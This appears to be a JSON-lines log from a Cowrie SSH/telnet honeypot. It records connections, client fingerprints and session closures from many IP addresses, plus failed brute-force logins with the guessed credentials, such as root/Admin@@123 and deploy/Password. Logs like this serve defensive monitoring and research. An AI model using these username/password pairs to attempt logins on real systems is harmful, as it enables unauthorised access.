{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:23.055010Z","src_ip":"103.82.20.28","session":"c2075dd80d2e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:23.834897Z","src_ip":"103.82.20.28","session":"c2075dd80d2e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:25.097662Z","src_ip":"103.82.20.28","session":"c2075dd80d2e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.129.44.66","src_port":41040,"dst_ip":"10.17.0.5","dst_port":22,"session":"03f32d69a769","protocol":"ssh","message":"New connection: 43.129.44.66:41040 (10.17.0.5:22) [session: 03f32d69a769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:25.753690Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:25.756967Z","src_ip":"43.129.44.66","session":"03f32d69a769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:26.014867Z","src_ip":"43.129.44.66","session":"03f32d69a769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@@123","message":"login attempt [root/Admin@@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:27.078513Z","src_ip":"43.129.44.66","session":"03f32d69a769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:28.340550Z","src_ip":"43.129.44.66","session":"03f32d69a769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":57402,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b337577b63a","protocol":"ssh","message":"New connection: 4.213.224.194:57402 (10.17.0.5:22) [session: 2b337577b63a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:28.598994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:28.602445Z","src_ip":"4.213.224.194","session":"2b337577b63a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:28.784562Z","src_ip":"4.213.224.194","session":"2b337577b63a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"server2026","message":"login attempt [root/server2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:29.551733Z","src_ip":"4.213.224.194","session":"2b337577b63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:30.750587Z","src_ip":"4.213.224.194","session":"2b337577b63a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.787373781204224,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:46.559435Z","src_ip":"172.81.62.90","session":"d08238f751f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":32944,"dst_ip":"10.17.0.5","dst_port":22,"session":"84841a7a5ceb","protocol":"ssh","message":"New connection: 87.251.79.125:32944 (10.17.0.5:22) [session: 84841a7a5ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:54.560708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:54.564782Z","src_ip":"87.251.79.125","session":"84841a7a5ceb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:54.631392Z","src_ip":"87.251.79.125","session":"84841a7a5ceb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"willis","message":"login attempt [root/willis] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:54.846633Z","src_ip":"87.251.79.125","session":"84841a7a5ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:54:55.915617Z","src_ip":"87.251.79.125","session":"84841a7a5ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":51880,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ee768c1090d","protocol":"ssh","message":"New connection: 111.238.174.6:51880 (10.17.0.5:22) [session: 1ee768c1090d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:05.787397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:05.794478Z","src_ip":"111.238.174.6","session":"1ee768c1090d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:05.979768Z","src_ip":"111.238.174.6","session":"1ee768c1090d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"data1234","message":"login attempt [root/data1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:06.705675Z","src_ip":"111.238.174.6","session":"1ee768c1090d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:07.893355Z","src_ip":"111.238.174.6","session":"1ee768c1090d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":51048,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dedea84c6f0","protocol":"telnet","message":"New connection: 172.81.62.90:51048 (159.203.135.109:23) [session: 7dedea84c6f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:17.168893Z"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":58936,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f6ba282c748","protocol":"ssh","message":"New connection: 123.58.215.196:58936 (10.17.0.5:22) [session: 9f6ba282c748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:36.017451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:36.024703Z","src_ip":"123.58.215.196","session":"9f6ba282c748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:36.238287Z","src_ip":"123.58.215.196","session":"9f6ba282c748","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Password","message":"login attempt [deploy/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:37.086775Z","src_ip":"123.58.215.196","session":"9f6ba282c748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:38.307648Z","src_ip":"123.58.215.196","session":"9f6ba282c748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.52075123786926,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:55:57.689502Z","src_ip":"172.81.62.90","session":"7dedea84c6f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35304,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f5001610f44","protocol":"ssh","message":"New connection: 2.57.122.238:35304 (159.203.135.109:22) [session: 1f5001610f44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:05.027989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:05.033084Z","src_ip":"2.57.122.238","session":"1f5001610f44","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:05.147074Z","src_ip":"2.57.122.238","session":"1f5001610f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"eth-docker","password":"eth-docker","message":"login attempt [eth-docker/eth-docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:05.465022Z","src_ip":"2.57.122.238","session":"1f5001610f44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":42560,"dst_ip":"10.17.0.5","dst_port":22,"session":"321ddaf0b756","protocol":"ssh","message":"New connection: 111.238.174.6:42560 (10.17.0.5:22) [session: 321ddaf0b756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:06.317632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:06.325019Z","src_ip":"111.238.174.6","session":"321ddaf0b756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:06.507932Z","src_ip":"111.238.174.6","session":"321ddaf0b756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:06.574495Z","src_ip":"2.57.122.238","session":"1f5001610f44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"joshua","password":"P@ssw0rd","message":"login attempt [joshua/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:07.250472Z","src_ip":"111.238.174.6","session":"321ddaf0b756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:08.444915Z","src_ip":"111.238.174.6","session":"321ddaf0b756","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52390,"dst_ip":"159.203.135.109","dst_port":23,"session":"1c2edc428369","protocol":"telnet","message":"New connection: 172.81.62.90:52390 (159.203.135.109:23) [session: 1c2edc428369]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:11.903123Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":46578,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1313ce98741","protocol":"ssh","message":"New connection: 103.77.242.62:46578 (159.203.135.109:22) [session: f1313ce98741]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:39.724742Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T05:56:39.728353Z","src_ip":"103.77.242.62","session":"f1313ce98741","protocol":"ssh"}
